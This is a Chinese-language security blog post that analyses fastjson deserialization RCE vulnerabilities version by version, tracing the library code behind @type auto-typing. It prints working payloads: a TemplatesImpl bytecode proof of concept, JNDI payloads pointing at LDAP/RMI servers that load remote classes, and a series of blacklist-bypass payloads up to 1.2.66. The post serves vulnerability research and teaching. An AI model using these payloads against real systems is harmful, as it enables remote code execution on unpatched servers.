Fastjson 反序列化RCE分析

2020-04-26 fastjson java 反序列化

Share on:

fastjson反序列化RCE

前言

fastjson是阿里巴巴的一个json库，频频爆RCE。本文分析fastjson至今的一些RCE漏洞。

fastjson的使用

引入库

1<dependency>
2    <groupId>com.alibaba</groupId>
3    <artifactId>fastjson</artifactId>
4    <version>1.2.24</version>
5</dependency>

创建一个实体类User

 1package org.chabug.fastjson.model;
 2
 3public class User {
 4    private int id;
 5    private int age;
 6    private String name;
 7
 8    @Override
 9    public String toString() {
10        return "User{" +
11            "id=" + id +
12            ", age=" + age +
13            ", name='" + name + '\'' +
14            '}';
15    }
16
17    public int getId() {
18        return id;
19    }
20
21    public void setId(int id) {
22        this.id = id;
23    }
24
25    public int getAge() {
26        return age;
27    }
28
29    public void setAge(int age) {
30        this.age = age;
31    }
32
33    public String getName() {
34        return name;
35    }
36
37    public void setName(String name) {
38        this.name = name;
39    }
40}

使用fastjson解析为字符串、从字符串解析为对象：

 1package org.chabug.fastjson.run;
 2
 3import com.alibaba.fastjson.JSON;
 4import com.alibaba.fastjson.JSONObject;
 5import com.alibaba.fastjson.serializer.SerializerFeature;
 6import org.chabug.fastjson.model.User;
 7
 8import java.util.HashMap;
 9import java.util.Map;
10
11public class JSONTest {
12    public static void main(String[] args) {
13        Map<String, Object> map = new HashMap<String, Object>();
14        map.put("key1", "One");
15        map.put("key2", "Two");
16        String mapJson = JSON.toJSONString(map);
17        System.out.println(mapJson);
18
19        System.out.println("--------------------------");
20
21
22        User user = new User();
23        user.setId(1);
24        user.setAge(17);
25        user.setName("张三");
26
27        // 对象转字符串
28        String s1 = JSON.toJSONString(user);
29        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
30        System.out.println(s1);
31        System.out.println(s2);
32
33        System.out.println("--------------------------");
34
35        // 字符串转对象
36        User o1 = (User) JSON.parse(s2);
37        System.out.println("o1:"+o1);
38        System.out.println(o1.getClass().getName());
39
40        JSONObject o2 = JSON.parseObject(s2);
41        System.out.println("o2:"+o2);
42        System.out.println(o2.getClass().getName());
43
44        Object o3 = JSON.parseObject(s2, Object.class);
45        System.out.println("o3:"+o3);
46        System.out.println(o3.getClass().getName());
47
48    }
49}

运行结果

 1{"key1":"One","key2":"Two"}
 2--------------------------
 3{"age":17,"id":1,"name":"张三"}
 4{"@type":"org.chabug.fastjson.model.User","age":17,"id":1,"name":"张三"}
 5--------------------------
 6o1:User{id=1, age=17, name='张三'}
 7org.chabug.fastjson.model.User
 8o2:{"name":"张三","id":1,"age":17}
 9com.alibaba.fastjson.JSONObject
10o3:User{id=1, age=17, name='张三'}
11org.chabug.fastjson.model.User

fastjson通过JSON.toJSONString()将对象转为字符串(序列化)，当使用SerializerFeature.WriteClassName参数时会将对象的类名写入@type字段中，在重新转回对象时会根据@type来指定类，进而调用该类的set、get方法。因为这个特性，我们可以指定@type为任意存在问题的类，造成一些问题。

在字符串转对象的过程中(反序列化)，主要使用JSON.parse()和JSON.parseObject()两个方法，两者区别在于parse()会返回实际类型(User)的对象，而parseObject()在不指定class时返回的是JSONObject，指定class才会返回实际类型(User)的对象，也就是JSON.parseObject(s2)和JSON.parseObject(s2, Object.class)的区别，这里也可以指定为User.class。

我们再来看@type的问题，我定义了一个Evil类，在其set方法中可以执行命令

 1package org.chabug.fastjson.model;
 2
 3import java.io.IOException;
 4
 5public class Evil {
 6    private String cmd;
 7
 8    public String getCmd() {
 9        System.out.println("getCmd()");
10        return cmd;
11    }
12
13    public void setCmd(String cmd) {
14        System.out.println("setCmd()");
15        this.cmd = cmd;
16        try {
17            Runtime.getRuntime().exec(cmd);
18        } catch (IOException e) {
19            e.printStackTrace();
20        }
21    }
22
23    public Evil() {
24        System.out.println("Evil()");
25    }
26}

用springboot起了一个web

成功弹出了计算器

我们通过控制@type来实现反序列化恶意Evil类，从而RCE，很简单只是举个例子说明@type的使用。

那么到这里还有一个问题，为什么写在setCmd方法会自动调用呢？

setter、getter、is自动调用

对应的Evil

写一个test测试下

可以看到parseObject(evil)的get、set、构造方法都自动调用了，另外两种解析方式只调用了set、构造方法。

在前文中我们知道parseObject(evil)返回的是JSONObject对象，跟进其方法发现也是使用parse解析的，但是多了一个(JSONObject)toJSON(obj) 这个方法调用的get，堆栈如下

 1getCmd:11, Evil (org.chabug.fastjson.model)
 2invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 3invoke:62, NativeMethodAccessorImpl (sun.reflect)
 4invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 5invoke:498, Method (java.lang.reflect)
 6get:451, FieldInfo (com.alibaba.fastjson.util)
 7getPropertyValue:105, FieldSerializer (com.alibaba.fastjson.serializer)
 8getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
 9toJSON:902, JSON (com.alibaba.fastjson)
10toJSON:824, JSON (com.alibaba.fastjson)
11parseObject:206, JSON (com.alibaba.fastjson)
12main:13, Test (org.chabug.fastjson.run)

比较简单，不详细分析，大致就是通过反射调用getter方法获取字段的值存入hashmap。那么setter在哪调用的？

在com.alibaba.fastjson.util.JavaBeanInfo#build中

在通过@type拿到类之后，通过反射拿到该类所有的方法存入methods，接下来遍历methods进而获取get、set方法，如上图。总结set方法自动调用的条件为：

方法名长度大于4
非静态方法
返回值为void或当前类
方法名以set开头
参数个数为1

当满足条件之后会从方法名截取属性名，截取时会判断_，如果是set_name会截取为name属性，具体逻辑如下：

当截取完但是找不到这个属性

会判断传入的第一个参数类型是否为布尔型，是的话就在截取完的变量前加上is，截取propertyName的第一个字符转大写和第二个字符，并且然后重新尝试获取属性字段。

比如：public boolean setBoy(boolean t) 会寻找isBoy字段。

set的整个判断就是：如果有setCmd()会绑定cmd属性，如果该类没有cmd属性会绑定isCmd属性。

get的判断总结下就是：

方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

当程序绑定了对应的字段之后，如果传入json字符串的键值中存在这个值，就会去调用执行对应的setter、构造方法。

小结：

parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

fastjson漏洞历程

fastjson漏洞经历了多次绕过及修复，甚至出现了加密黑名单防止安全研究= =

1.2.22-1.2.24

在小于fastjson1.2.22-1.2.24版本中有两条利用链。

JNDI com.sun.rowset.JdbcRowSetImpl
JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

JNDI利用链

JNDI传输过程中使用的就是序列化和反序列化，所以通杀三种解析方式

1JSON.parse(evil);
2JSON.parseObject(evil);
3JSON.parseObject(evil, Object.class);

原理就是setter的自动调用

 1package org.chabug.fastjson.run;
 2
 3import com.sun.rowset.JdbcRowSetImpl;
 4
 5import java.sql.SQLException;
 6
 7public class Test {
 8    public static void main(String[] args) {
 9
10
11        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
12        try {
13            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#Calc");
14            jdbcRowSet.setAutoCommit(true);
15        } catch (SQLException e) {
16            e.printStackTrace();
17        }
18    }
19}

setDataSourceName()和setAutoCommit()满足setter自动调用的条件，当我们传入对应json键值对时就会触发setter，进而触发jndi链接。payload如下

1{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

TemplatesImpl利用链

条件苛刻

服务端使用parseObject()时，必须使用如下格式才能触发漏洞：JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
服务端使用parse()时，需要JSON.parse(text1,Feature.SupportNonPublicField)

poc

 1package org.chabug.fastjson.run;
 2
 3import com.alibaba.fastjson.JSON;
 4import com.alibaba.fastjson.parser.Feature;
 5import com.alibaba.fastjson.parser.ParserConfig;
 6import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 7import javassist.ClassPool;
 8import javassist.CtClass;
 9import org.apache.tomcat.util.codec.binary.Base64;
10
11public class JDK7u21 {
12    // 参考https://y4er.com/post/ysoserial-commonscollections-2/
13    public static byte[] getevilbyte() throws Exception {
14        ClassPool pool = ClassPool.getDefault();
15        CtClass cc = pool.get(test.class.getName());
16        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
17        cc.makeClassInitializer().insertBefore(cmd);
18        String randomClassName = "Y4er" + System.nanoTime();
19        cc.setName(randomClassName);
20        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
21
22        return cc.toBytecode();
23    }
24
25
26    //main函数调用以下poc而已
27    public static void main(String args[]) {
28        try {
29            byte[] evilCode = getevilbyte();
30            String evilCode_base64 = Base64.encodeBase64String(evilCode);
31            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
32            String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
33            System.out.println(text1);
34            ParserConfig config = new ParserConfig();
35            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
36
37        } catch (Exception e) {
38            e.printStackTrace();
39        }
40    }
41
42    public static class test {
43
44    }
45}

看完poc应该考虑的几个问题：

为什么parseObject需要Feature.SupportNonPublicField？
为什么需要_outputProperties属性？
_bytecodes为什么需要base64编码？
_tfactory为什么为{}？

问题1：Feature.SupportNonPublicField 在fastjson中默认并不能序列化private属性，而我们使用的TemplatesImpl利用链的多个属性都是private，所以在反序列化的时候需要加上Feature.SupportNonPublicField，这也成了这个利用链的最大限制。

问题2：为什么需要_outputProperties属性 答案是为了触发getOutputProperties()。再问：如果getOutputProperties()是_outputProperties属性的getter方法那不符合规则啊！下面就来分析下：

getOutputProperties()方法其对应的属性应该为public的outputProperties，其实你删了_也可以，_并不是必须的，那么fastjson到底是怎么处理的呢？

在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField中解析每一个字段时，会进行一次灵活匹配this.smartMatch() 在进行is关键字判断之后，替换掉-和_再匹配getter和setter 所以就会调用getOutputProperties() 而其返回值又是Properties，所以可以完美调用getOutputProperties()，进而触发newTransformer()->getTransletInstance()->newInstance()，导致RCE。

问题3：_bytecodes为什么需要base64编码

在解析byte[]的时候进行了base64解码

跟进

问题4：_tfactory为什么为{} 在fastjson-1.2.23.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:579解析字段值时，会自动判断传入键值是否为空，如果为空会根据类属性定义的类型自动创建实例

到这算是把fastjson写的差不多，剩下的就是无尽的bypass。

1.2.25-1.2.41

在1.2.25版本中，重新使用jdbc利用链复现报错

使用idea对比两个jar包发现改为了checkAutoType()方法

跟进checkAutoType()发现

增加了类前缀黑名单白名单判断，在1.2.25版本中AutoTypeSupport默认false，需要显示关闭白名单

1ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

在关闭了AutoTypeSupport之后仍然需要绕过黑名单，以startsWith判断但是在跟了TypeUtils.loadClass()之后会发现如果classname以[开头loadClass会自动去掉，还有就是开头L结尾;的也会去掉，那么我们有了新的绕过方法：

1ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单
2{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

7u21的链同理，在1.2.25之后所谓的绕过都是在显示关闭白名单的条件下绕过的。

1.2.42绕过

在1.2.41中L;的方法测试可以，1.2.42中不行

对比jar发现ParserConfig中黑名单改为hash classname截取L;

通过计算hash让我们不知道黑名单是什么类，但是加密方式在com.alibaba.fastjson.util.TypeUtils#fnv1a_64是有的通过变量常用的jar、类、字符串碰撞hash得到黑名单，有一个项目已经做好了：https://github.com/LeadroyaL/fastjson-blacklist

绕过也比较简单，com.alibaba.fastjson.parser.ParserConfig#checkAutoType截取一次，com.alibaba.fastjson.util.TypeUtils#loadClass截取一次，那么双写就可以绕过

1{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

1.2.43

判断了是否以LL开头，直接抛出异常

但是[还可以

1{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

1.2.44

修复之前[的问题，虽然之前[是不能用的

1.2.45

增加了黑名单

1//需要有第三方组件ibatis-core 3:0
2{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47 通杀

通杀autotype和黑名单

 1{
 2    "a": {
 3        "@type": "java.lang.Class", 
 4        "val": "com.sun.rowset.JdbcRowSetImpl"
 5    }, 
 6    "b": {
 7        "@type": "com.sun.rowset.JdbcRowSetImpl", 
 8        "dataSourceName": "ldap://localhost:1389/Exploit", 
 9        "autoCommit": true
10    }
11}

在TypeUtils的static初始化时调用com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings中会将常用的类通过loadclass()放入mapping中

 1private static void addBaseClassMappings() {
 2    mappings.put("byte", Byte.TYPE);
 3    mappings.put("short", Short.TYPE);
 4    mappings.put("int", Integer.TYPE);
 5    mappings.put("long", Long.TYPE);
 6    mappings.put("float", Float.TYPE);
 7    mappings.put("double", Double.TYPE);
 8    mappings.put("boolean", Boolean.TYPE);
 9    mappings.put("char", Character.TYPE);
10    mappings.put("[byte", byte[].class);
11    mappings.put("[short", short[].class);
12    mappings.put("[int", int[].class);
13    mappings.put("[long", long[].class);
14    mappings.put("[float", float[].class);
15    mappings.put("[double", double[].class);
16    mappings.put("[boolean", boolean[].class);
17    mappings.put("[char", char[].class);
18    mappings.put("[B", byte[].class);
19    mappings.put("[S", short[].class);
20    mappings.put("[I", int[].class);
21    mappings.put("[J", long[].class);
22    mappings.put("[F", float[].class);
23    mappings.put("[D", double[].class);
24    mappings.put("[C", char[].class);
25    mappings.put("[Z", boolean[].class);
26    Class<?>[] classes = new Class[]{Object.class, Cloneable.class, loadClass("java.lang.AutoCloseable"), Exception.class, RuntimeException.class, IllegalAccessError.class, IllegalAccessException.class, IllegalArgumentException.class, IllegalMonitorStateException.class, IllegalStateException.class, IllegalThreadStateException.class, IndexOutOfBoundsException.class, InstantiationError.class, InstantiationException.class, InternalError.class, InterruptedException.class, LinkageError.class, NegativeArraySizeException.class, NoClassDefFoundError.class, NoSuchFieldError.class, NoSuchFieldException.class, NoSuchMethodError.class, NoSuchMethodException.class, NullPointerException.class, NumberFormatException.class, OutOfMemoryError.class, SecurityException.class, StackOverflowError.class, StringIndexOutOfBoundsException.class, TypeNotPresentException.class, VerifyError.class, StackTraceElement.class, HashMap.class, Hashtable.class, TreeMap.class, IdentityHashMap.class, WeakHashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, TreeSet.class, TimeUnit.class, ConcurrentHashMap.class, loadClass("java.util.concurrent.ConcurrentSkipListMap"), loadClass("java.util.concurrent.ConcurrentSkipListSet"), AtomicInteger.class, AtomicLong.class, Collections.EMPTY_MAP.getClass(), BitSet.class, Calendar.class, Date.class, Locale.class, UUID.class, Time.class, java.sql.Date.class, Timestamp.class, SimpleDateFormat.class, JSONObject.class};
27    Class[] var1 = classes;
28    int var2 = classes.length;
29
30    int var3;
31    for(var3 = 0; var3 < var2; ++var3) {
32        Class clazz = var1[var3];
33        if (clazz != null) {
34            mappings.put(clazz.getName(), clazz);
35        }
36    }
37
38    String[] awt = new String[]{"java.awt.Rectangle", "java.awt.Point", "java.awt.Font", "java.awt.Color"};
39    String[] spring = awt;
40    var3 = awt.length;
41
42    int var11;
43    for(var11 = 0; var11 < var3; ++var11) {
44        String className = spring[var11];
45        Class<?> clazz = loadClass(className);
46        if (clazz == null) {
47            break;
48        }
49
50        mappings.put(clazz.getName(), clazz);
51    }
52
53    spring = new String[]{"org.springframework.util.LinkedMultiValueMap", "org.springframework.util.LinkedCaseInsensitiveMap", "org.springframework.remoting.support.RemoteInvocation", "org.springframework.remoting.support.RemoteInvocationResult", "org.springframework.security.web.savedrequest.DefaultSavedRequest", "org.springframework.security.web.savedrequest.SavedCookie", "org.springframework.security.web.csrf.DefaultCsrfToken", "org.springframework.security.web.authentication.WebAuthenticationDetails", "org.springframework.security.core.context.SecurityContextImpl", "org.springframework.security.authentication.UsernamePasswordAuthenticationToken", "org.springframework.security.core.authority.SimpleGrantedAuthority", "org.springframework.security.core.userdetails.User"};
54    String[] var10 = spring;
55    var11 = spring.length;
56
57    for(int var12 = 0; var12 < var11; ++var12) {
58        String className = var10[var12];
59        Class<?> clazz = loadClass(className);
60        if (clazz == null) {
61            break;
62        }
63
64        mappings.put(clazz.getName(), clazz);
65    }
66
67}

然后开始解析json，当传入type时进入checkAutoType()检查类

在调用解析时我们没有传入预期的反序列化对象的对应类名时，会从mapping中或者deserializers.findClass()寻找当找到类之后会直接return class，不会再进行autotype和黑名单校验，而在deserializers中有java.lang.Class

继续解析

获取到java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec，然后开始deserializer.deserialze()反序列化 parser.parse()获取val的值赋值给strVal，然后经过一系列判断之后传入TypeUtils.loadClass()

在loadclass中将strVal加入到mapping中

此时mapping中有了jdbc的类名，而Mappings是ConcurrentMap类的，顾名思义就是在当前连接会话生效。所以我们需要在一次连接会话同时传入两个json键值对时，此次连接未断开时，继续解析第二个json键值对，然后和上文中提到的一样，在校验autotype和黑名单之前就已经return了clazz，变相绕过了黑名单，利用JNDI注入RCE。

1.2.48

黑名单多了两条，MiscCodec中将默认传入的cache变为false，checkAutoType()调整了逻辑

1.2.62

黑名单绕过

1{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

1.2.66

也是黑名单绕过

1// 需要autotype true
2{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
3{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
4{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
5{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

总结

从@type属性牵扯出来一系列的RCE，整个过程分析下来还是很有收获，不停的bypass才是反序列化的最大乐趣。

参考链接

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。